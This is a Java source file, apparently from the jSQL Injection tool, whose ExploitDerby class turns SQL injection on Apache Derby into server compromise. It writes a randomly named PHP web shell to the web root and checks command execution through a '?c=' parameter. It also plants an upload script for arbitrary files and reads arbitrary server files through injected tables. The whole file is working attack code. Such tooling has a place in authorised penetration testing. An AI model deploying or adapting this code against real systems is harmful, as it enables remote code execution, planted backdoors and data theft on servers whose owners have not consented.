1 package com.jsql.model.accessible.vendor; 2 3 import com.jsql.model.InjectionModel; 4 import com.jsql.model.accessible.CallableFile; 5 import com.jsql.model.accessible.DataAccess; 6 import com.jsql.model.accessible.ResourceAccess; 7 import com.jsql.model.accessible.vendor.derby.ModelYamlDerby; 8 import com.jsql.model.bean.database.MockElement; 9 import com.jsql.model.bean.util.Interaction; 10 import com.jsql.model.bean.util.Request; 11 import com.jsql.model.exception.AbstractSlidingException; 12 import com.jsql.model.exception.JSqlException; 13 import com.jsql.model.exception.JSqlRuntimeException; 14 import com.jsql.model.suspendable.SuspendableGetRows; 15 import com.jsql.util.LogLevelUtil; 16 import com.jsql.util.StringUtil; 17 import org.apache.commons.lang3.RandomStringUtils; 18 import org.apache.commons.lang3.StringUtils; 19 import org.apache.logging.log4j.LogManager; 20 import org.apache.logging.log4j.Logger; 21 import org.yaml.snakeyaml.Yaml; 22 23 import java.io.File; 24 import java.io.FileInputStream; 25 import java.io.IOException; 26 import java.io.InputStream; 27 import java.net.http.HttpResponse; 28 import java.util.function.BinaryOperator; 29 30 public class ExploitDerby { 31 32 private static final Logger LOGGER = LogManager.getRootLogger(); 33 private final InjectionModel injectionModel; 34 private final ModelYamlDerby modelYaml; 35 36 public ExploitDerby(InjectionModel injectionModel) { 37 this.injectionModel = injectionModel; 38 var yaml = new Yaml(); 39 this.modelYaml = yaml.loadAs( 40 injectionModel.getMediatorVendor().getDerby().instance().getModelYaml().getResource().getExploit(), 41 ModelYamlDerby.class 42 ); 43 } 44 45 public String createWeb(String pathExploit, String urlExploit) { 46 LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "RCE Web target requirements: stack query, web+db on same machine, jdbc bridge"); 47 48 String bodyExploit = StringUtil.base64Decode( 49 this.injectionModel.getMediatorUtils().getPropertiesUtil().getProperty(ResourceAccess.EXPLOIT_DOT_WEB) 50 ) 51 .replace(DataAccess.SHELL_LEAD, DataAccess.LEAD) 52 .replace(DataAccess.SHELL_TRAIL, DataAccess.TRAIL); 53 54 var nameTable = RandomStringUtils.secure().nextAlphabetic(8); 55 var nameExploit = RandomStringUtils.secure().nextAlphabetic(8) +".php"; 56 this.injectionModel.injectWithoutIndex(String.format( 57 this.modelYaml.getFile().getWrite(), 58 nameTable, 59 nameTable, bodyExploit.replace("'", "''"), 60 nameTable, 61 pathExploit + nameExploit 62 ), ResourceAccess.TBL_CREATE); 63 64 BinaryOperator<String> biFuncGetRequest = (String pathExploitFixed, String urlSuccess) -> { 65 String result = this.injectionModel.getResourceAccess().callCommand( 66 urlSuccess +"?c="+ ResourceAccess.WEB_CONFIRM_CMD 67 ); 68 if (!result.contains(ResourceAccess.WEB_CONFIRM_RESULT)) { 69 LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Exploit body not found"); 70 return StringUtils.EMPTY; 71 } 72 var request = new Request(); 73 request.setMessage(Interaction.ADD_TAB_EXPLOIT_WEB); 74 request.setParameters(urlSuccess); 75 this.injectionModel.sendToViews(request); 76 return urlSuccess; 77 }; 78 79 return this.injectionModel.getResourceAccess().checkUrls(urlExploit, nameExploit, biFuncGetRequest); 80 } 81 82 public void createUpload(String pathExploit, String urlExploit, File fileToUpload) { 83 String bodyExploit = StringUtil.base64Decode( 84 this.injectionModel.getMediatorUtils().getPropertiesUtil().getProperty(ResourceAccess.EXPLOIT_DOT_UPL) 85 ) 86 .replace(DataAccess.SHELL_LEAD, DataAccess.LEAD) 87 .replace(DataAccess.SHELL_TRAIL, DataAccess.TRAIL); 88 89 var nameTable = RandomStringUtils.secure().nextAlphabetic(8); 90 var nameExploit = RandomStringUtils.secure().nextAlphabetic(8) +".php"; 91 this.injectionModel.injectWithoutIndex(String.format( 92 this.modelYaml.getFile().getWrite(), 93 nameTable, 94 nameTable, bodyExploit.replace("'", "''"), 95 nameTable, 96 pathExploit + nameExploit 97 ), ResourceAccess.TBL_CREATE); 98 99 BinaryOperator<String> biFuncGetRequest = (String pathExploitFixed, String urlSuccess) -> { 100 try (InputStream streamToUpload = new FileInputStream(fileToUpload)) { 101 HttpResponse<String> result = this.injectionModel.getResourceAccess().upload(fileToUpload, urlSuccess, streamToUpload); 102 if (result.body().contains(DataAccess.LEAD +"y")) { 103 LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, ResourceAccess.UPLOAD_SUCCESSFUL, pathExploit, fileToUpload.getName()); 104 } else { 105 LOGGER.log(LogLevelUtil.CONSOLE_ERROR, ResourceAccess.UPLOAD_FAILURE, pathExploit, fileToUpload.getName()); 106 } 107 } catch (InterruptedException e) { 108 LOGGER.log(LogLevelUtil.IGNORE, e, e); 109 Thread.currentThread().interrupt(); 110 } catch (IOException | JSqlException e) { 111 throw new JSqlRuntimeException(e); 112 } 113 return urlSuccess; 114 }; 115 116 this.injectionModel.getResourceAccess().checkUrls(urlExploit, nameExploit, biFuncGetRequest); 117 } 118 119 public String getRead(String pathFile) throws AbstractSlidingException { 120 LOGGER.log(LogLevelUtil.CONSOLE_INFORM, CallableFile.REQUIRE_STACK); 121 var nameTable = RandomStringUtils.secure().nextAlphabetic(8); 122 this.injectionModel.injectWithoutIndex(String.format( 123 this.injectionModel.getResourceAccess().getExploitDerby().getModelYaml().getFile().getCreateTable(), 124 nameTable, 125 nameTable, pathFile 126 ), ResourceAccess.TBL_FILL); 127 return new SuspendableGetRows(this.injectionModel).run( 128 String.format( 129 this.injectionModel.getResourceAccess().getExploitDerby().getModelYaml().getFile().getRead(), 130 nameTable 131 ), 132 new String[]{ StringUtils.EMPTY }, 133 true, 134 0, 135 MockElement.MOCK, 136 ResourceAccess.FILE_READ 137 ); 138 } 139 140 public ModelYamlDerby getModelYaml() { 141 return this.modelYaml; 142 } 143 }